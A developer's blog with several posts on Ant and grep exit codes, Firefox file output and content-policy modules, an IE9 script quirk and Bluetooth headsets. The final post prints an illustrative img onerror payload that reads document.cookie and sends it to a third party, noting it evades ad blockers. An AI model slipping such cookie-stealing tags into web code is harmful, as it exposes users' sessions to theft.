Monday, November 3, 2014

Ant Execute plugin with grep problems

Ok, so it's not often I find myself dealing with shell scripts - it's just not what I do. But today I had to modify a build script to accept arguments and to search certain files for certain phrases. The argument stuff was fairly straight forward - just use getopts. That obviously isn't the most powerful option, but it's all I need.

Now for searching for a particular string, previously I chose sed, because I was replacing macros. But now, I just want to test for existence - does this file contain this string - for which sed seemed wrong. So I chose grep, a somewhat obvious option. I made the changes, tested it out by running the shell script directly, and things were cool. Enter Ant.

For the build proper, we use Ant. In this, we use the Execute plugin to run that shell script I just mentioned. Now this is where my problem started.

What I saw:
execute:
        [exec] Result: 1

What I expected:
execute:
        [exec] Found Macro, replacing it.
        [exec] Done
        [exec] Result: 1

Obviously something is amiss. "Done" should be printed no matter what, unless there is an error. But there was no error being printed. So I hunted down the problem line:
    gn=$(grep "['\"]{[[:alpha:]_][[:alnum:]_]*}" notice_tmp.js)

And I narrowed that down to just grep. I was seeing this strange behavior where as I changed the search string, sometimes the execution would finish and print "Done", and sometimes it didn't. I was fairly perplexed till I finally said the problem out loud to myself: "Sometimes it exits correctly, sometimes it doesn't". . . ...  'exit'! Eureka!

Ok so maybe people who deal with shell scripts a lot are like "no shit Sherlock" but I'm not, so it took me a while, especially with the problem being a few layers deep in commands. Anyways, it occurred to me that a call to exit inside grep must be bubbling up to Ant causing it to exit early. So when there IS a match found by grep, it doesn't exit and continues in my script, but when there ISN'T a match, it exits immediately and my script is just out of luck.

Fortunately, Google solved this for me rather quickly. Since an exit is bubbling up, just put another command on top of it to catch it:
    gn=$(grep "['\"]{[[:alpha:]_][[:alnum:]_]*}" notice_tmp.js | echo)

or, if that doesn't work out for you, another way:

    gn=$(echo $(egrep "['\"]{[[:alpha:]_][[:alnum:]_]*}" notice_tmp.js))

And there we go, echo catches the exit call, and my script keeps on running

Tuesday, January 7, 2014

Firefox File Out (nsIOutputStream) details - ArrayBuffer, String, and Array

A few helpful things to remember:

Goal: Write out binary data stored in a ArrayBuffer (html5 typed array) to a file

What I learned:

If you open a file with FileUtils.openSafeFileOutputStream, then the only way to properly close it is with FileUtils.closeSafeFileOutputStream. This is something the docs forget to tell you but very important.

Typed Arrays have bounds checking on instantiation. If byteLength%BYTES_IN_TYPE!=0 then an exception is thrown.

String are written to memory sequentially. Array indexes are not. TypedArray index locations can't be accessed directly (reading them actually reads their wrapper object, or to be more precise, it seems if you run "var a = buffer[i], b = buffer[i+1];" you would find that &a is not related to &b).

Writing out in an OutputStream will convert to a string whatever object you pass into the buffer parameter!!! The result of such a call (toString) will be what is set as the location in memory of the buffer, assuming typeof buffer.toString() == "string". If you could spoof that, that would be wearrryy wuseful.

Ways to write to a file
1) NetUtil.asyncCopy
2) nsIFileOutputStream
3) nsIBinaryOutputStream <--- <3 some love


I tried and tried and tried some more, to find some Firefox service or component which could just write the binary out WITHOUT conversion to a string first. Couldn't find one. They ALL took in a nsIInputStream only. Which sucks because my data isn't an input stream, AND I can't just implement nsIInputStream in javascript due to "Native Only" method calls.


So, any way to have a ArrayBuffer backed InputStream?? That would be nice. But no soup for me, it seemed.


I was just trying to avoid implementing my own buffered writer.  Anyways, given that FileOutputStream only accepts string input, and NetUtil.asyncCopy only takes a legit input stream, I've no choice but to convert to a string manually **(or so I thought).

So, given the items I learned above, this is what I had to do:



But but, right after I finished with this, it occurred to me that for every InputStream, there must be an OutputStream. Since there was a BinaryInputStream, I did a search and indeed, I found BinaryOutputStream. I'd no particular reason to believe that it would behave differently than FileOutputStream, but just to make sure, I tested using a Typed Array as the output. Low and behold, it worked!! Seems BOS runs through the index values of an object. I would wager that it actually creates an Iterator and runs through that, but I didn't test that.

So once I knew about BOS, my code simplified to using just service calls, which is nice.

Tuesday, December 17, 2013

Weird Find in IE9 - phantom scripts

I had a problem in IE9 (!!shock!!)

Something weird would happen when loading a page using back, forward, or pressing enter in the URL Bar when the page is already loaded : my script wouldn't run.

It would load
It would be attached to the DOM
But it wouldn't run, and when I looked at the "script" in F12 tools, the script appeared to be blank.

I had "defer" on it, so I took that off. But no dice. I tried attaching to the head instead of the body (not that that should have made a difference). But no dice.

Then an idea struck me. The script which loads in the "missing" script isn't attached to the DOM when it runs. This was the only thing "unusual" left that could be the source of the problem. References to "window" and "document" were valid, since the "missing" script did show up in the DOM. But what else could it be??

"Loading" Script:

<script src="loader.js">
///1// removeFromDOM(searchDOMFor("script@src=loader.js"));
///2// var s = document.createElement("script");
///3// s.src = "missing.js";
///4// document.body.appendChild(s);
</script>


Above script "missing.js" won't run when it's loaded.
Remove line 1, and it runs.

Go figure~~

edit: To clarify, missing.js!! won't run if the loader.js!! element is removed from the DOM. The missing.js script element is on the DOM and is not removed.

Friday, October 4, 2013

Best Bluetooth Headsets - comments

The headsets:

Motorola S10-HD   ($35 ebay)
Jaybird Bluebuds X   ($150 ebay)
Philips Tapster   ($85 ebay)


I'm not a review web site so I'm not going to go into too many details.  Bottom line, is that if you want a pair for running in the gym, the Motorola are fine and cheap and if you ruin them "so what". If you want to run or play sports --outdoors--, you'll want the Bluebuds. If you want a cord-free headset and don't intend to jump up and down, then the Tapster is the best.

BEST

Audio:
Tapster - by far. Don't know what they did - but Philips squeezed 128kbps quality audio into a bandwidth compatible to bluetooth. Bass is hands down the best bluetooth experience I've had. I don't even bother changing headsets when I get to work any more. Bluebuds were advertised to have better sound, but I don't hear it.

Signal:
Bluebuds - by far. Finally, something they advertise which was accurate. Can hold a signal OUTDOORS when all the others fade away. INDOORS, Tapster actually has the best reach at 60ft through two walls in the men's bathroom. At that distance, Bluebuds was cutting on and off, but Tapster was strong. But outdoors, the only one to play non-stop with the phone in my pocket was the Bluebuds.

Controls - Ease of Use:
Tapster - by far. Once you learn HOW to control it, it's a pleasure to use. Bluebud's controls are convenient to reach but buttons themselves require long presses or really long presses - who's got time for that??

Fit - Stays in place and solid seal:
Tapster
note: Bluebuds WITH their extra ear attachment are actually better at staying in your ear, but cheap plastic mold is a far cry from the solid seal the Tapster makes. But this could be by design, because too much seal and you hear your own footsteps and movements (as in the Tapster), which for a product made for active people, would be a deal-breaker.

Design:
Bluebuds are just so itty bitty and I love the foldable (therefore form fitting) wire they have.

Construction:
Tapster. SD-10 seems cheap and the Bluebud's internals come unglued too easy (which needs to be sent in for repair).

Looks:
Love the cool factor of the Tapster touch panel, but what can I say: "smaller is better", so Bluebuds win here.




WORST

Signal:
SD10. Indoors and nearby work just fine. Anywhere else, not so much.

Audio:
SD10. With the "HD" in the name, I expected more. And they are MUCH better than your normal BT dongle. But still, the worst of the three.

Flexibility:
Tapster. Can only sync with two devices at a time. Adding more than that eventually leads to an "unsteady state" and you might end up with a comatose headset which you have to let -completely- drain of battery before you can use it again.

Functionality:
Tapster. Takes a long time to figure out the gesture controls (the instructions are useless) and buggy. Several times I accidentally sent the device into a "unsteady state" where I had to let the battery drain completely (thereby loosing it's state information) before using again.




Summary

Moto SD10 - Cheap, decent.
Jaybird Bluebuds X - Perfect for sports, outdoors
Philips Tapster - Best audio and easy to use, but has it's own equivalent of the "blue screen of death".

My personal choice is the Tapster. I've learned it's quirks and now I get to relax and enjoy the highest quality BT audio available.



Wednesday, September 25, 2013

Firefox modules - Implementing a module, specifically, ContentPolicy

In Firefox, Modules are isolated global environments. Imagine the bastard child of a WebWorker and a CommonJS/AMD import/require statements (seehttp://addyosmani.com/writing-modular-js/).
As stated, Module are global (singleton) for the Firefox application, and are started (run) the first time they are imported into another (running) JS scope. Modules can be registered with Firefox when they start up.
In this example, we'll implement a nsIContentPolicy module, which can be used for intercepting (and blocking) ALL requests made from the browser.

To get started:

1) Create a chrome/modules folder. Create the module file, $(module_name).jsm, where module_name can be what you like.
2) Add to the chrome.manifest, where app_name is the same name used in the manifest already:  "resource    $(app_name)    chrome/modules/"
3) Add this code to where ever you want the module to be accessible from, where scope_reference is where ever you want the exported module objects to be exposed on: "Components.utils.import("resource://$(app_name)/$(module_name).jsm", $(scope_reference));"
4) Inside $(module_name).jsm, you'll need this basic skeleton code. Since the example module will implement nsIContentPolicy, I'll use the name "ContentPolicy":



Note: You must customize the  "classDescription", "classID", "contractID", and QueryInterface list. But, the QueryInterface list must include "Components.interfaces.nsIFactory"
5) Actually add and implement all the methods which you declare that you will implement (in QueryInterface list of Interfaces).
6) EXPORTED_SYMBOLS string array will add all objects on the module's scope (window) into the $(scope_reference) passed into the import call.


Registering the Module with Firefox - If you want FF to USE YOUR MODULE, then you have to REGISTER IT

For registering with Firefox, and for ContentPolicy in particular, we need to add the Module as a listener for certain events. SEE THIRD SNIPPET

Custom for nsIContentPolicy 

Must add these methods to implement nsIContentPolicy: SEE SECOND SNIPPET

Wednesday, September 11, 2013

Found some concerning code today

Going through some client code, I found this little snippet. It appears to be their ad tag. Now, this wouldn't get around browser restrictions on JS or anything, but certainly this would bypass any browser add-ons which might try to remove unwelcome JS. This also wouldn't be seen by crawlers a first party might have to monitor such things *(depending on what the script does).

I'll remove the actual code, but the idea is just to set an error handler, and then cause an error.

<img src="data:imge/png,gotcha" onerror="var cookie=document.cookie; sendCookieToThirdParty(cookie);"></img>

Of course, I describe something malicious, but this could very much be used for legit purposes where the tag owner doesn't want their code blocked by AdBlock or equivalent.